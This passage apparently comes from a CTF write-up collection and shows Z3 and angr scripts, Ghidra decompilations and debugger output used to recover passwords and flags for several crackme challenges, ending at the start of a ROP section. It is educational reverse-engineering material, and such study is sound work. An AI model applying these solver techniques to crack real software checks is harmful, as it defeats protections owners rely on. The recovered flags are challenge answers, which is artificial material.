1
3
>>> for i in xrange(25):
...     print ((i * 7) % 25)
...
0
7
14
21
3
10
17
24
6
13
20
2
9
16
23
5
12
19
1
8
15
22
4
11
18

Putting it all together, we find that this is how our input is stored in the5 by 5 matrix:

matrix[0][0] = input[0]
matrix[0][2] = input[7]
matrix[0][4] = input[14]
matrix[1][1] = input[21]
matrix[1][3] = input[3]
matrix[2][0] = input[10]
matrix[2][2] = input[17]
matrix[2][4] = input[24]
matrix[3][1] = input[6]
matrix[3][3] = input[13]
matrix[4][0] = input[20]
matrix[4][2] = input[2]
matrix[4][4] = input[9]
matrix[0][1] = input[16]
matrix[0][3] = input[23]
matrix[1][0] = input[5]
matrix[1][2] = input[12]
matrix[1][4] = input[19]
matrix[2][1] = input[1]
matrix[2][3] = input[8]
matrix[3][0] = input[15]
matrix[3][2] = input[22]
matrix[3][4] = input[4]
matrix[4][1] = input[11]
matrix[4][3] = input[18]

The mathematical operations done with the matrix is made clear in the source code. So now that we know how our input is scanned in, stored in the matrix, the algorithm the data is ran through, and the desired output it's compared against. We can just write a bit of python code which will use Microsoft's z3 theorem solver to figure out the input we need to get an output. You can check the source code of the script for more details on how Z3 works (tl;dr we specify the inputs we have control over, the algorithm it gets run through, and the constraints such as what we want the end result to be):

#Import z3
from z3 import *

#Designate the input z3 will have control of
inp = []
for i in xrange(25):
    b = BitVec("%s" % i, 8)
    inp.append(b)
#Store the input from z3 in the matrix
h, l = 5, 5;
mat = [[0 for x in range(l)] for y in range(h)]
mat[0][0] = inp[0]
mat[0][2] = inp[7]
mat[0][4] = inp[14]
mat[1][1] = inp[21]
mat[1][3] = inp[3]
mat[2][0] = inp[10]
mat[2][2] = inp[17]
mat[2][4] = inp[24]
mat[3][1] = inp[6]
mat[3][3] = inp[13]
mat[4][0] = inp[20]
mat[4][2] = inp[2]
mat[4][4] = inp[9]
mat[0][1] = inp[16]
mat[0][3] = inp[23]
mat[1][0] = inp[5]
mat[1][2] = inp[12]
mat[1][4] = inp[19]
mat[2][1] = inp[1]
mat[2][3] = inp[8]
mat[3][0] = inp[15]
mat[3][2] = inp[22]
mat[3][4] = inp[4]
mat[4][1] = inp[11]
mat[4][3] = inp[18]
#print mat

#Perform the 19 math operations with the matrix
auth = [0]*19
auth[0] = mat[0][0] + mat[4][4]
auth[1] = mat[2][1] + mat[0][2]
auth[2] = mat[4][2] + mat[4][1]
auth[3] = mat[1][3] + mat[3][1]
auth[4] = mat[3][4] + mat[1][2]
auth[5] = mat[1][0] + mat[2][3]
auth[6] = mat[2][4] + mat[2][0]
auth[7] = mat[3][3] + mat[3][2] + mat[0][3]
auth[8] = mat[0][4] + mat[4][0] + mat[0][1]
auth[9] = mat[3][3] + mat[2][0]
auth[10] = mat[4][0] + mat[1][2]
auth[11] = mat[0][4] + mat[4][1]
auth[12] = mat[0][3] + mat[0][2]
auth[13] = mat[3][0] + mat[2][0]
auth[14] = mat[1][4] + mat[1][2]
auth[15] = mat[4][3] + mat[2][3]
auth[16] = mat[2][2] + mat[0][2]
auth[17] = mat[1][1] + mat[4][1]    
#print auth

#Create the solver, and the desired output
z = Solver()
enc = [0x8b, 0xce, 0xb0, 0x89, 0x7b, 0xb0, 0xb0, 0xee, 0xbf, 0x92, 0x65, 0x9d, 0x9a, 0x99, 0x99, 0x94, 0xad, 0xe4]

#Create the z3 constraints for what the output should be:
#equal to it's corresponding enc value
#an ascii character to make it easier to input into the program
for i in xrange(len(enc)):
#    print enc[i]
    z.add(auth[i] == enc[i])
for i in xrange(25):
    z.add(inp[i] > 32)
    z.add(inp[i] < 127)

#Check if z3 can solve it, and if it can print out the solution
if z.check() == sat:
#    print z
    print "Condition is satisfied, would still recommend crying: " + str(z.check())
    solution = z.model()
    flag = ""
    for i in inp:
        flag += chr(int(str(solution[i])))
    print "solution is: " + flag

#Check if z3 can't solve it
if z.check() == unsat:
    print "Condition is not satisfied, would recommend crying: " + str(z.check())

When we run it:

$    python reverent.py
Condition is satisfied, would still recommend crying: sat
solution is: KgBIVp@g@@9n%Y/`PFTt@vb3w
$    ./future
What's the flag: KgBIVp@g@@9n%Y/`PFTt@vb3w
Yup thats the flag!

After talking to an admin about my solution, he gave me the real flag which is TUCTF{5y573m5_0f_4_d0wn!}. Just like that, we captured the flag using an unintended solution!

defcamp 2015 quals r100

Let's take a look at the binary:

$    file r100
r100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=0f464824cc8ee321ef9a80a799c70b1b6aec8168, stripped
$    pwn checksec r100
[*] '/Hackery/pod/modules/angr/defcamp_r100/r100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./r100
Enter the password: 15935728
Incorrect password!

So we can see we are dealing with a 64 bit binary, that when we run it, it prompts us for input via stdin. When we take a look at the binary in Ghidra, we see this function at 0x4007e8:

undefined8 promptPassword(void)

{
  long lVar1;
  int check;
  char *bytesRead;
  undefined8 passedCheck;
  long in_FS_OFFSET;
  char input [264];
  long canary;
 
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter the password: ");
  bytesRead = fgets(input,0xff,stdin);
  if (bytesRead == (char *)0x0) {
    passedCheck = 0;
  }
  else {
    check = checkInput(input);
    if (check == 0) {
      puts("Nice!");
      passedCheck = 0;
    }
    else {
      puts("Incorrect password!");
      passedCheck = 1;
    }
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return passedCheck;
}

So we can see it first calls printf to prompt us for a password. It will then scan in at most 0xff bytes into input. Provided that the fgets call actually scanned any bytes in, it will run input through the checkInput function. If it returns 0 then we solved the challenge. Looking at the checkInput function we see this:

undefined8 checkInput(long input)

{
  int i;
  long local_28 [4];
 
  i = 0;
  while( true ) {
    if (0xb < i) {
      return 0;
    }
    if ((int)*(char *)((long)((i / 3) * 2) + local_28[(long)(i % 3)]) -
        (int)*(char *)(input + (long)i) != 1) break;
    i = i + 1;
  }
  return 1;
}

So we can see here, the code enters into a while (true) loop. Each iteration it will take our input and evaluates it. If it passes the check, it will then move on to the next iteration. If there are more than 0xc iterations of the loop, the function will return 0 meaning that we solved the challenge. If it fails one of the iteration checks, it will return 1 meaning that our input isn't valid.

So we are dealing with a crackme which is a challenge that scans in a piece of data, and evaluates it, and we need to figure out what that data is. We will use Angr to solve this. For Angr we need to know three things. The first is what input we have control over (here it is 0xff bytes or less via stdin). The second is an instruction address that if it is executed, that means our input was successful (in other words an instruction address along the code path we want to hit). For this I choose 0x4007a1 in checkInput where it sets EAX (the return value) equal to 0x0:

                             LAB_0040079b                                    XREF[1]:     0040072b(j)  
        0040079b 83 7d dc 0b     CMP        dword ptr [RBP + i],0xb
        0040079f 7e 8c           JLE        LAB_0040072d
        004007a1 b8 00 00        MOV        EAX,0x0
                 00 00

That instruction address should only be called when we have the correct input, so it is a good candidate. Now the last piece we need is an instruction address that when it is called, means that our input is not correct. For this I choose 0x400790 which is along the code path if the if then check in checkInput fails (specifically when it moves 1 into EAX so the return value specifies a failure):

        0040078b 83 f8 01        CMP        EAX,0x1
        0040078e 74 07           JZ         LAB_00400797
        00400790 b8 01 00        MOV        EAX,0x1
                 00 00

With that, we have everything that we need to make our Angr script:

# Import Angr
import angr

# Establish the Angr Project
target = angr.Project('r100')

# Specify the desired address which means we have the correct input
desired_adr = 0x4007a1

# Specify the address which if it executes means we don't have the correct input
wrong_adr = 0x400790

# Establish the entry state
entry_state = target.factory.entry_state(args=["./fairlight"])

# Establish the simulation
simulation = target.factory.simulation_manager(entry_state)

# Start the simulation
simulation.explore(find = desired_adr, avoid = wrong_adr)

solution = simulation.found[0].posix.dumps(0)
print solution

When we run it:

$    python rev.py
WARNING | 2019-07-21 18:55:53,628 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
Code_Talkers�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
$    ./r100
Enter the password: Code_Talkers
Nice!

Just like that, we solved the challenge!

Plaid CTF 2019

Let's take a look at the binary:

$    file icancount
icancount: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e75719f2cd90c042f04af29a0cd1263bb72c7417, not stripped
$    pwn checksec icancount
[*] '/Hackery/pod/modules/angr/plaid19_icancount/icancount'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./icancount
We're going to count numbers, starting from one and
counting all the way up to the flag!
Are you ready? Go!
> 15935728
No, the correct number is 1.
But I believe in you. Let's try again sometime!
$    ./icancount
We're going to count numbers, starting from one and
counting all the way up to the flag!
Are you ready? Go!
> 1
Correct.
> 2
Yes.
> 3
Yes!
> 4
Congratz
> 5
Yep!
> 6
Right-o.
> 7
Wonderful.
> 8^C

So we can see that we are dealing with a 32 bit binary with PIE. When we run it, it prompts us for numbers that increments by 1. When we take a look at the main function in Ghidra, we see this:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void main(void)

{
  uint __seed;
  size_t len;
  size_t sVar1;
  int iVar2;
  char *compliment;
  char input [31];
 
  __seed = time((time_t *)0x0);
  srand(__seed);
  puts("We\'re going to count numbers, starting from one and");
  puts("counting all the way up to the flag!");
  puts("Are you ready? Go!");
  while( true ) {
    incr_flag();
    printf("> ");
    fflush(stdout);
    fgets(input + 1,0x1e,stdin);
    if (input[1] != '\0') {
      len = strlen(input + 1);
      if (input[len] < ' ') {
        sVar1 = strlen(input + 1);
        input[sVar1] = '\0';
      }
    }
    iVar2 = strcmp(input + 1,flag_buf);
    if (iVar2 != 0) break;
    compliment = (char *)get_compliment();
    puts(compliment);
    check_flag();
  }
  printf("No, the correct number is %s.\n",flag_buf);
  puts("But I believe in you. Let\'s try again sometime!");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

So we can see that it prints out some text, sets the rng seed to time, then drops us into an infinite loop. The loop starts off by running the incr_flag function which we can see it increments flag_buf which is stored in the bss at address 0x13048:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void incr_flag(void)

{
  size_t sVar1;
  size_t local_10;
 
  local_10 = strlen(flag_buf);
  while( true ) {
    if ((int)local_10 < 1) {
      sVar1 = strlen(flag_buf);
      if (sVar1 != 0x13) {
        sVar1 = strlen(flag_buf);
        flag_buf[sVar1] = 0x30;
        flag_buf[0] = 0x31;
        return;
      }
                    /* WARNING: Subroutine does not return */
      exit(2);
    }
    if (*(char *)((int)&__dso_handle + local_10 + 3) != '9') break;
    *(undefined *)((int)&__dso_handle + local_10 + 3) = 0x30;
    local_10 = local_10 - 1;
  }
  *(char *)((int)&__dso_handle + local_10 + 3) =
       *(char *)((int)&__dso_handle + local_10 + 3) + '\x01';
  return;
}

A couple of things from this, first if we weren't sure before we can see that flag_bug is only filled with the bytes between 0x30-0x39 (ASCII 0-9). In addition to that, since if the length of flag_buf exceeds 19 (0x13) the program exits, our input is probably 19 characters long (and only consists of ASCII characters between 0-9).

Proceeding that in the main function, we see that it allows us to scan in 0x1e bytes into the stack char array input. It then checks if the last character in our inputted string has a value less than 0x20 (which corresponds to the space ' ' character). If it does, then that character is swapped out with a null byte.

Following that, it compares our input against flag_buf. If they are not equal, the infinite loop breaks and we get told what the correct number should be. If it doesn't break, then it will print a random character and run the check_flag function which looks like this:

void check_flag(void)

{
  longlong lVar1;
  uint b;
  uint x;
  uint y;
  uint z;
  uint uVar2;
  int unaff_ESI;
  ulonglong a;
  ulonglong c;
  ulonglong d;
  ulonglong uVar3;
  ulonglong uVar4;
  ulonglong e;
  ulonglong g;
  ulonglong uVar5;
  longlong f;
  int i;
  char inputChar;
 
  __x86.get_pc_thunk.si();
  i = 0;
  while( true ) {
    if (0x13 < i) {
      printf((char *)(unaff_ESI + 0x93c),unaff_ESI + 0x25f2);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    inputChar = *(char *)(i + unaff_ESI + 0x25f2);
    x = (int)inputChar & 3;
    y = (int)(inputChar >> 2) & 3;
    z = (int)(inputChar >> 4) & 0xf;
    a = rol(x + 0xa55aa559,(uint)(0x5aa55aa6 < x) + 0xa55a,2);
    b = y - (uint)a;
    c = rol(b + 0xa55aa559,
            (-(uint)(y < (uint)a) - (int)(a >> 0x20)) + 0xa55a + (uint)(0x5aa55aa6 < b),0xd);
    c._4_4_ = (uint)(c >> 0x20);
    c._0_4_ = (uint)c;
    d = rol((z - (uint)c) + 0xa55aa559,
            (-(uint)(z < (uint)c) - c._4_4_) + 0xa55a + (uint)(0x5aa55aa6 < z - (uint)c),0x11);
    d._4_4_ = (uint)(d >> 0x20);
    uVar5 = c ^ a ^ d;
    lVar1 = a + CONCAT44((uint)((d & uVar5) >> 0x20) | ~(uint)(uVar5 >> 0x20) & c._4_4_,
                         (uint)(d & uVar5) | ~(uint)uVar5 & (uint)c);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = z + (uint)c;
    uVar3 = rol(c._4_4_ + 0xf01f83c6,
                (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(z,(uint)c) + 0xf +
                (uint)(0xfe07c39 < c._4_4_),3);
    uVar2 = (uint)(uVar3 >> 0x20);
    lVar1 = c + CONCAT44((uint)((uVar3 & uVar5) >> 0x20) | ~uVar2 & d._4_4_,
                         (uint)(uVar3 & uVar5) | ~(uint)uVar3 & (uint)d);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = x + (uint)c;
    uVar4 = rol(c._4_4_ + 0xf01f83c6,
                (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(x,(uint)c) + 0xf +
                (uint)(0xfe07c39 < c._4_4_),0xb);
    lVar1 = uVar5 + CONCAT44((uint)((d & uVar4) >> 0x20) | ~d._4_4_ & uVar2,
                             (uint)(d & uVar4) | ~(uint)d & (uint)uVar3);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = y + (uint)c;
    e = rol(c._4_4_ + 0xf01f83c6,
            (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(y,(uint)c) + 0xf +
            (uint)(0xfe07c39 < c._4_4_),0x13);
    lVar1 = uVar3 + (e ^ d ^ uVar4);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = y + (uint)c;
    g = rol(c._4_4_ + 0x867b8ca6,
            (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(y,(uint)c) + 0xb744 +
            (uint)(0x79847359 < c._4_4_),5);
    lVar1 = d + (uVar4 ^ g ^ e);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = x + (uint)c;
    uVar5 = rol(c._4_4_ + 0x867b8ca6,
                (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(x,(uint)c) + 0xb744 +
                (uint)(0x79847359 < c._4_4_),7);
    lVar1 = e + (uVar5 ^ uVar4 ^ g);
    c._0_4_ = (uint)lVar1;
    c._4_4_ = z + (uint)c;
    f = rol(c._4_4_ + 0x867b8ca6,
            (int)((ulonglong)lVar1 >> 0x20) + (uint)CARRY4(z,(uint)c) + 0xb744 +
            (uint)(0x79847359 < c._4_4_),0x17);
    lVar1 = uVar4 + uVar5 + g + f;
    c._0_4_ = (uint)lVar1 ^ (uint)((ulonglong)lVar1 >> 0x20);
    c._0_4_ = (uint)c ^ (uint)c >> 0x10;
    if (*(byte *)(i + *(int *)(unaff_ESI + 0x2692)) != (byte)((byte)(uint)c ^ (byte)((uint)c >> 8)))
    break;
    i = i + 1;
  }
  return;
}

This may seem like a mess, but we don't need to understand a lot about what's going on. We can see that the loop runs for 0x13 times (iteration count stored in i). If it runs that many times then it will call printf (probably will print the flag). Also we can see that it checks our input which is stored in inputChar at 0x10a73:

gef➤  pie b *0xa73
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
We're going to count numbers, starting from one and
counting all the way up to the flag!
Are you ready? Go!
> 1
Congratz

Breakpoint 1, 0x56555a73 in check_flag ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x56558048  →  0x00000031 ("1"?)
$ebx   : 0x56558000  →  0x00002ef0
$ecx   : 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from one[...]"
$edx   : 0x56558048  →  0x00000031 ("1"?)
$esp   : 0xffffcf20  →  0x00000000
$ebp   : 0xffffd028  →  0xffffd058  →  0x00000000
$esi   : 0x56558000  →  0x00002ef0
$edi   : 0x0       
$eip   : 0x56555a73  →  <check_flag+46> movzx eax, BYTE PTR [eax]
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0x00000000     ← $esp
0xffffcf24│+0x0004: 0x00000009
0xffffcf28│+0x0008: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from one[...]"
0xffffcf2c│+0x000c: 0xf7e48dab  →  <_IO_file_write+43> add esp, 0x10
0xffffcf30│+0x0010: 0x00000001
0xffffcf34│+0x0014: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from one[...]"
0xffffcf38│+0x0018: 0x00000009
0xffffcf3c│+0x001c: 0xf7ffd000  →  0x00026f34
─────────────────────────────────────────────────────────────── code:x86:32 ────
   0x56555a68 <check_flag+35>  lea    edx, [esi+0x48]
   0x56555a6e <check_flag+41>  mov    eax, DWORD PTR [ebp-0x1c]
   0x56555a71 <check_flag+44>  add    eax, edx
 → 0x56555a73 <check_flag+46>  movzx  eax, BYTE PTR [eax]
   0x56555a76 <check_flag+49>  mov    BYTE PTR [ebp-0x1d], al
   0x56555a79 <check_flag+52>  movsx  eax, BYTE PTR [ebp-0x1d]
   0x56555a7d <check_flag+56>  cdq    
   0x56555a7e <check_flag+57>  mov    ecx, eax
   0x56555a80 <check_flag+59>  and    ecx, 0x3
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "icancount", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x56555a73 → check_flag()
[#1] 0x56556109 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  s
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x31      
$ebx   : 0x56558000  →  0x00002ef0
$ecx   : 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from one[...]"
$edx   : 0x56558048  →  0x00000031 ("1"?)
$esp   : 0xffffcf20  →  0x00000000
$ebp   : 0xffffd028  →  0xffffd058  →  0x00000000
$esi   : 0x56558000  →  0x00002ef0
$edi   : 0x0       
$eip   : 0x56555a76  →  <check_flag+49> mov BYTE PTR [ebp-0x1d], al
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0x00000000     ← $esp
0xffffcf24│+0x0004: 0x00000009
0xffffcf28│+0x0008: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from one[...]"
0xffffcf2c│+0x000c: 0xf7e48dab  →  <_IO_file_write+43> add esp, 0x10
0xffffcf30│+0x0010: 0x00000001
0xffffcf34│+0x0014: 0x56559160  →  "Congratz\neady? Go!\ny up to the flag!\ng from one[...]"
0xffffcf38│+0x0018: 0x00000009
0xffffcf3c│+0x001c: 0xf7ffd000  →  0x00026f34
─────────────────────────────────────────────────────────────── code:x86:32 ────
   0x56555a67 <check_flag+34>  add    BYTE PTR [ebp+0x4896], cl
   0x56555a6d <check_flag+40>  add    BYTE PTR [ebx-0x2ffe1bbb], cl
   0x56555a73 <check_flag+46>  movzx  eax, BYTE PTR [eax]
 → 0x56555a76 <check_flag+49>  mov    BYTE PTR [ebp-0x1d], al
   0x56555a79 <check_flag+52>  movsx  eax, BYTE PTR [ebp-0x1d]
   0x56555a7d <check_flag+56>  cdq    
   0x56555a7e <check_flag+57>  mov    ecx, eax
   0x56555a80 <check_flag+59>  and    ecx, 0x3
   0x56555a83 <check_flag+62>  mov    DWORD PTR [ebp-0x28], ecx
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "icancount", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x56555a76 → check_flag()
[#1] 0x56556109 → main()
────────────────────────────────────────────────────────────────────────────────
0x56555a76 in check_flag ()
gef➤  p $eax
$1 = 0x31

There is an if then check at the end which is ran at the very end, if the check fails the loop ends (which means we don't have the correct input):

    if (*(byte *)(i + *(int *)(unaff_ESI + 0x2692)) != (byte)((byte)(uint)c ^ (byte)((uint)c >> 8)))
    break;

So to solve this challenge, we can use Angr. We need three things, what input it takes (which we know), an instruction pointer that if it's executed the problem is solved, and an instruction pointer that if it's executed then we know we have the wrong input.

For the address that designates a failed address, in the check_flag function we see at the end there is the if then check, which if it fails it will make a jump to 0x10fae:

        00010f75 38 c2           CMP        f,f
        00010f77 75 35           JNZ        LAB_00010fae

Which we can see that at the address it just exits. Since this code path is executed when we don't have the right input, I choose to use the address 0xfae:

                             LAB_00010fae                                    XREF[1]:     00010f77(j)  
        00010fae 90              NOP
        00010faf 8d 65 f4        LEA        ESP=>local_10,[EBP + -0xc]
        00010fb2 5b              POP        EBX
        00010fb3 5e              POP        ESI
        00010fb4 5f              POP        EDI
        00010fb5 5d              POP        EBP
        00010fb6 c3              RET

Now we need the instruction address that if it's executed, it means we have the correct input. For this I choose 0xf9a since that is the printf call that has been made if the loop has ran 19 times, and it probably is printing the flag (which means that this code path is ran when we have the correct input):

        00010f98 89 f3           MOV        EBX,ESI
        00010f9a e8 b1 f6        CALL       printf                                           int printf(char * __format, ...)
                 ff ff
        00010f9f 83 c4 10        ADD        ESP,0x10
        00010fa2 83 ec 0c        SUB        ESP,0xc
        00010fa5 6a 00           PUSH       0x0
        00010fa7 89 f3           MOV        EBX,ESI
        00010fa9 e8 f2 f6        CALL       exit                                             void exit(int __status)
                 ff ff
                             -- Flow Override: CALL_RETURN (CALL_TERMINATOR)

Also one last thing about the Angr script. We will set the enter state to be the start of the check_flag function. The reason for this being is if we were to start from the beginning of the binary, we would have to essentially brute force the binary because it checks if our input is equal to flag_buf, and it is initialized at 0 and incremented by 1 each time (so we would have to brute force it by entering 0, then 1, then 2 ...). Also since it expects our input in flag_buf, we will just establish our input and set flag_buf equal to our input. With that we have everything we need for our Angr Script:

import angr
import claripy

# Establish the project

target = angr.Project('icancount', auto_load_libs=False)

# Because PIE is enabled, we have to grab the randomized addresses for various things

# Grab the address of flag_buf which stores our input
flag_buf = target.loader.find_symbol('flag_buf').rebased_addr

# Grab the address of the check_flag function which is where we will start
check_flag = target.loader.find_symbol('check_flag').rebased_addr

# Grab the instruction addresses which indicate either a success or a failure

desired_adr = 0xf9a + target.loader.main_object.min_addr
failed_adr = 0xfae + target.loader.main_object.min_addr

# Establish the entry state
entry_state = target.factory.blank_state(addr = check_flag)

# Establish our input, 0x13 bytes
inp = claripy.BVS('inp', 0x13*8)

# Assign the condition that each byte of our input must be between `0-9` (0x30 - 0x39)
for i in inp.chop(8):
    entry_state.solver.add(entry_state.solver.And(i >= '0', i <= '9'))

# Set the memory region of flag_buf equal to our input
entry_state.memory.store(flag_buf, inp)

# Establish the simulation
simulation = target.factory.simulation_manager(entry_state)

# Setup the simulation with the addresses to specify a success / failure
simulation.use_technique(angr.exploration_techniques.Explorer(find = desired_adr, avoid = failed_adr))

# Run the simulation
simulation.run()

# Parse out the solution, and print it
flag_int = simulation.found[0].solver.eval(inp)

flag = ""
for i in xrange(19):
    flag = chr(flag_int & 0xff) + flag
    flag_int = flag_int >> 8

print "flag: PCTF{" + flag + "}"

When we run it:

$	python rev.py 
WARNING | 2019-07-21 16:19:08,277 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
WARNING | 2019-07-21 16:19:08,324 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
flag: PCTF{2052419606511006177}

Just like that, we captured the flag!

Securityfest 2019 fairlight

Let's take a look at the binary:

$    file fairlight
fairlight: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=382cac0a89b47b48f6e24cdad066e1ac605bd3e5, not stripped
$    ./fairlight
useage: ./keygen code
$    ./fairlight 15935728
NOPE - ACCESS DENIED!

So we can see that we are dealing with a 64 bit binary. When we run it, we see that it takes in input through an argument. It appears to be a crackme that scans in input, evaluates it, and if it's write we get the flag. When we take a look at the main function in Ghidra, we see this:

undefined8 main(int argc,long argv)

{
  size_t inputLen;
  long lVar1;
  undefined8 *puVar2;
  long in_FS_OFFSET;
  undefined8 victory;
  undefined8 local_1b0 [50];
  long canary;
 
  canary = *(long *)(in_FS_OFFSET + 0x28);
  victory = 0;
  lVar1 = 0x31;
  puVar2 = local_1b0;
  while (lVar1 != 0) {
    lVar1 = lVar1 + -1;
    *puVar2 = 0;
    puVar2 = puVar2 + 1;
  }
  if (argc < 2) {
    puts("useage: ./keygen code");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  inputLen = strlen(*(char **)(argv + 8));
  if (inputLen != 0xe) {
    denied_access();
  }
  strncpy(code,*(char **)(argv + 8),0x28);
  check_0();
  check_1();
  check_2();
  check_3();
  check_4();
  check_5();
  check_6();
  check_7();
  check_8();
  check_9();
  check_10();
  check_11();
  check_12();
  check_13();
  sprintf((char *)&victory,success,code);
  printf("%s",&victory);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

So we can see that it only takes a single argument (other than the binary's name). It then checks if the length of our input is 0xe characters (if not it runs denied_access). Proceeding that it copies our input to the bss variable code located at 0x6030b8. After that it runs a series of check functions that reference our input stored in code, to evaluate it to see if it is correct.

So there are two ways I can see us solve this (although there are more). The first is that we go through and reverse all of the check functions to see what it actually expects (would probably use Z3 to help with this). The second is we just throw Angr at it. Angr is a binary analysis framework that can do a lot (such as code flow analysis and symbolic execution). We can use it as a symbolic execution engine (which figures out what inputs will execute what parts of the program) to figure out how to solve this challenge.

To use Angr here, we will need three things. The first is what input we have, and how it gets passed to the binary. This we already know, which is 0xe (14) byte char characters passed in as a single argument. The second is the instruction address that we want Angr to reach. While it performs its analysis, it's goal will be to reach this function. For this I chose the printf("%s",&victory); call 0x401a6e since if we hit that code path, it means we passed the check:

        00401a6e b8 00 00        MOV        inputLen,0x0
                 00 00
        00401a73 e8 88 eb        CALL       printf                                           int printf(char * __format, ...)
                 ff ff
        00401a78 b8 00 00        MOV        inputLen,0x0
                 00 00

Moving on, the last thing we need is an instruction address that if it is executed, then Angr knows that it's input isn't correct. For this, we can see that in all of the check functions if the check isn't passed it runs the denied_access function:

void check_0(void)

{
  rand();
  rand();
  if ((int)code[0] * ((int)code[11] + (int)(char)(code[9] ^ code[5])) + -0xab8 != (int)code[13]) {
    denied_access();
  }
  return;
}

So for this address I choose the start of denied_access at 0x40074d. This instruction is part of the code path that is executed when our input is incorrect, so this address would be a good candidate to use:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined denied_access()
             undefined         AL:1           <RETURN>
                             denied_access                                   XREF[17]:    check_0:004008a6(c),
                                                                                          check_1:004009e2(c),
                                                                                          check_2:00400b1f(c),
                                                                                          check_3:00400c5c(c),
                                                                                          check_4:00400d96(c),
                                                                                          check_5:00400ed0(c),
                                                                                          check_6:0040100d(c),
                                                                                          check_7:00401147(c),
                                                                                          check_8:00401284(c),
                                                                                          check_9:004013be(c),
                                                                                          check_10:004014fb(c),
                                                                                          check_11:00401650(c),
                                                                                          check_12:004017a7(c),
                                                                                          check_13:004018fe(c),
                                                                                          main:00401990(c), 00401b60,
                                                                                          00401c68(*)  
        0040074d 55              PUSH       RBP
        0040074e 48 89 e5        MOV        RBP,RSP
        00400751 be a0 30        MOV        ESI=>failure,failure                             = "NOPE - ACCESS DENIED!\n"
                 60 00

You can install Angr with pip:

$    sudo pip install angr

With that we have everything we need to write the Angr Script:

# Import angr and claripy
import angr
import claripy

# Establish the angr
target = angr.Project('./fairlight', load_options={"auto_load_libs": False})

# Establish our input as an array of 0xe bytes
inp = claripy.BVS("inp", 0xe*8)

# Establish the entry state, with our input passed in as an argument
entry_state = target.factory.entry_state(args=["./fairlight", inp])

# Establish the simulation with the entry state
simulation = target.factory.simulation_manager(entry_state)

# Start the symbolic execution, specify the desired instruction address, and the one to avoid
simulation.explore(find = 0x401a6e, avoid = 0x040074d)

# Parse the correct input and print it
solution = simulation.found[0]
print solution.solver.eval(inp, cast_to=bytes)

When we run it:

$    python rev.py
WARNING | 2019-07-21 14:18:20,477 | angr.analyses.disassembly_utils | Your version of capstone does not support MIPS instruction groups.
WARNING | 2019-07-21 14:18:27,811 | angr.state_plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
4ngrman4gem3nt
$    ./fairlight 4ngrman4gem3nt
OK - ACCESS GRANTED: CODE{4ngrman4gem3nt}

Just like that, we used Angr to solve the challenge!

Return Oriented Programming (ROP)

Partial Overwrite

hacklu 2015 stackstuff

The goal of this challenge is to read the contents of the flag file.

Let's take a look at the binary:

$    file stackstuff
